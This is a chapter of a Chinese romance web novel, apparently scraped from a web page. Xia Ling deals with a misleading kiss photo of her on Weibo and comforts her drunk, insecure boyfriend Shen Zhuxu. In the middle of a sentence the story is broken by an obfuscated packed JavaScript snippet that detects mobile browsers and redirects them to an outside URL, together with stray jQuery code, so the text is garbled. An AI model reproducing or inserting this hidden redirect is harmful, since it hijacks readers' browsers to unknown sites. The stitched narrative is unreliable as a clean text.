“是对他愧疚吗?”夏伶直白道。
电话另一端陷入短暂的沉默。呜咽风声里,她听到一声叹息:“要说完全不会,那肯定是假话。”
知他正处于两难的煎熬境地,但夏伶并没打算跳过这个话题。
有些问题只会一直存在,并不会因为个人的逃避就会消失。
“那如果,他非我不可呢?”她又问。
“非你不可的是我,”他这话说得异常肯定,“我比他更需要你。”
“所以?”
“夏伶,你知道的。我爱你。”
他在说,他绝对不会放手。
她听懂了。
*
“伶伶?伶伶,”陶梓琪轻拍了拍正伏案熟睡的夏伶,“你怎么睡这了?”
“嗯?”夏伶迷迷糊糊睁了一下眼,又很快闭上了:“好困,再让我睡会儿。”
“你别在这睡,小心感冒,”陶梓琪又扒拉了她几下,“王总那里今天我替你跑一趟,你回家补个觉。乖了。”
夏伶闭着眼睛被迫坐起。
“昨晚一直没收到你的消息,我就猜你又是在公司将就了一晚,”陶梓琪伸手把她脸上黏着的空白A4纸揭了下来,“你昨晚几点睡的?”
“不知道,好像是天快亮的时候。”夏伶欲挠睡出印子的脸,刚一抬手,就被麻清醒了:“唔,睡麻了。”
“我就跟你说了,这个姿势肯定睡不舒服的。”陶梓琪抓住了她睡麻的手,给她活动关节:“这样有没有好点?”
“哎呀,你轻点。”夏伶嘟囔道。
“给你带了我自己做的三明治,别又不吃早饭。对了,一会儿你别自己开车了,你这得算疲劳驾驶,我给你叫个代驾。”
“OK,服从组织安排。”
绷紧神经熬了一整宿,夏伶这会儿困到手软脚软,眼皮跟被强力胶黏住了一般,睁眼都费力。
跟游魂一样到了家。
进门第一件事就是喂猫。
喂好猫也顾不上洗漱了,几步外找了个能躺的地。
她直接趴在沙发上,眼睛一闭就睡着了。
再睁眼,是下午三点十七分。
她从靠枕下摸出手机,看了眼时间。手机屏幕上弹出不少微信消息,还有几个未接电话,幸好她提前静音了。
取消静音模式,她顶着头乱发坐起。吐司喵喵叫着跳上了沙发。她没什么精神地摸了摸吐司的脑袋,发现身上多了个毯子,室温也被调高了。
猜是沈竹栩来过。
脑子还是有些昏沉。
她把手机丢回沙发上,打着哈欠去浴室洗澡。
泡了个热水澡,总算清醒了不少。
刚从浴室出来,就听到手机在响。
她接起电话,觉得有些饿,开了免提往厨房走去:“梓琪,怎么了?”
“伶伶,你昨晚跟严逸骁是不是……”陶梓琪似有顾虑,欲言又止。
夏伶从冰箱里拿了个苹果,放到水龙头底下冲洗:“是不是什么?”
“我也是微博上看到的。要不你自己去看下微博,在你跟严逸骁的微博超话里,有人发了你俩的接吻照,”陶梓琪推测道,“就在你的办公室里,是你昨天穿的那身衣服。应该就是昨晚。”
接吻?
这怎么可能?
夏伶闻言有些惊讶,放下刚咬了一口的苹果,迅速切换手机界面。
微博超话下,那张“接吻照”被顶到了热评第一的位置。
这个拍照角度的细节习惯,她一眼便认出了,是之前一直各种探她隐私的那条尾巴。本以为上次影院尾随被发现之后对方会有所收敛,没想到又会卷土重来。
还真是有够没完没了的。
“是错位图,”夏伶说,“我们当时在分一块蛋糕,可能正好是拿蛋糕的时候凑得近了。”
“我就猜是角度问题,”陶梓琪暗松了口气,“不过好奇怪啊,我们公司不都是需要刷员工卡才能进入吗?那个偷拍的人,是怎么进来的?”
“这件事等我明天回公司了处理。你一会儿去趟行政部,把昨晚大约十点半到十一点之间的楼道监控视频拷贝一份出来,发我邮箱。”夏伶说。
“好,我知道了。”陶梓琪点头应下,转瞬又记起个事:“对了,听昕昕说,沈总今天有来过。不过那会儿我出去了,他究竟来做什么的,我也不是很清楚。微博上的这张乌龙照你最好找机会跟他解释清楚,别引起不必要的误会。”
“嗯,我心里有数。”
挂断电话,夏伶心不在焉地拿起才啃了一口的苹果,边看手机边往客厅方向走。
“嘀嘀、嘀……”
有人在按门口的密码锁。
夏伶倏地停住脚步,看向门口。
外面会是谁呢?她不禁犯了嘀咕。
陶梓琪刚在公司跟她通过电话,不可能在她家门口闪现。
夏珊梅就更不可能了,她这会儿在加拿大出差。
会是沈竹栩吗?
可自从跟她交往后,沈竹栩都有主动跟她报备行程的习惯,算着时间,他这个点应该在环宇实报接受采访。
也不可能是他。
她很快推翻了之前的几个猜想。
还没来得及琢磨明白,门开了。
夏伶突然间有些紧张,下意识往后退了半步,一双眼警惕望着门的方向。
吐司喵喵叫着,哒哒哒一路小跑往门的方向迎了过去。
敞开的门缝后伸出一只手,熟练抓住了它的后脖子,将越狱小猫抓回了屋。
“沈竹栩?”夏伶仅凭那只手便认出了他,待他进屋,她纳闷道:“你怎么这个点过来了?不是还有个采访吗?”
“提前结束了。”沈竹栩把吐司放到一旁的换鞋凳上,脱下大衣,径直朝她走了过去。
“听说你今天去过……唔……”夏伶的话还没说完,就被他温软的唇堵住了嘴。
她嗅到了一股浓烈的酒气。
他好像喝了不少。
她觉出异常不由皱眉,撇过脸躲开了他的吻。
“你喝酒了?”
他垂着眼睫,与她贴唇道:“没醉。”
夏伶还想再问,却没能有机会再开口。
他像是急于堵住她的嘴,迫切、激烈,甚至有些粗暴的再次吻住了她。
唇上刺痛。她隐约感觉到了他的不安,便没再躲闪。
任由他揽住她的腰将她抱至隔断式吧台上,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715539|185815||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她温柔捧住他的脸,安抚回应。
从客厅到房间的过程属实有些磕绊。
吐司好奇围观,在他们拥吻行进的过程中,几次差点被踩。
拥吻、褪衣,乱七八糟的翻滚。
也不知过了多久,终于体力耗尽。
他的气息尚未调匀,趴在她的胸口,闭眼听她的心跳声。
夏伶跟撸猫般有一搭没一搭地轻轻揉抚他的发:“你怎么不问我?”
“不敢问。”他的话音低低的,有些嘶哑。听着有些委屈。
夏伶抚发的动作一顿,转瞬捏抬起他的下巴,迫使他看着自己:“那你,信我吗?”
他看着她的眼睛,声音依旧轻轻的:“只要你说,我就信。”
“我跟他昨晚只是分了一块蛋糕,仅此而已,”夏伶语气认真地与他解释,“那张照片是刚巧找了个刁钻角度,形成了视觉错位。”
“嗯。”他蜷起身体,收臂抱紧了她:“能答应我一件事吗?”
“你说。”
“以后无论发生什么事,都别轻易说出不要我。”
他说“不要我”,而不是“不许离开”。他在情感上,把自己放在了低位。
他在担心被抛弃。
夏伶突然想起他曾轻描淡写的那句“没什么大不了的,都过去了”。
可看他这般应激的状态,那根刺显然还深扎在他的心底,虬结难拔。
她抚发的手慢慢移至他的面庞,指腹轻抚他的眉眼,他的鼻梁,他的唇部轮廓。她满眼心疼地看着他,亲了亲他充血的眼睛:“我不会。”
“真的?”
“真的。”
“你真的,不会不要我吗?”
“真的,我保证。”
……
许是酒劲上头,他有些迷糊了。
他一遍一遍地确认,她一遍一遍地答。
直到睡意袭来,他呢喃的话音似梦呓。看着他阖眼睡去,她才闭上眼睛,沉入梦境。
她听到了淅淅沥沥的雨声。
嘀嗒、嘀嗒……
雨落声在频频敲击她的耳膜。
她恍惚置身于一片湿漉漉的水汽中,周围暗沉沉的,只能依稀辨出,那是记忆里她常上下学的那条路。
街景泛黄,像是保存不当的老旧照片,卷了边,散发出一股诡异的霉腐味道。
她忽然觉得有些不安,握紧了手中的伞,茫然四顾。
对面有一人影步子很快的冲跑过来,她毫无防备,冷不丁被撞险些摔倒。
“呲,你这人眼瞎啊!走路不看……”她几乎脱口而出,在看向对方的眼睛时,又戛然止了话音。
虽是有些模糊,但她一眼便认出了。
是沈竹栩。
或者更确切些,是年少时的沈竹栩。
他没有撑伞,雨水顺着他鸭舌帽的帽檐成柱般在往下滴淌。
“沈竹栩?”她急忙走去他身边,举高了伞替他挡住兜头的大雨:“你为什么会在这里?你怎么不撑伞?是发生什么事了吗?”
她急切询问,他却没有应声。
他像是完全看不见她,一双空洞洞的眼看着前方,与她错身而过,迎着大雨继续往前奔跑。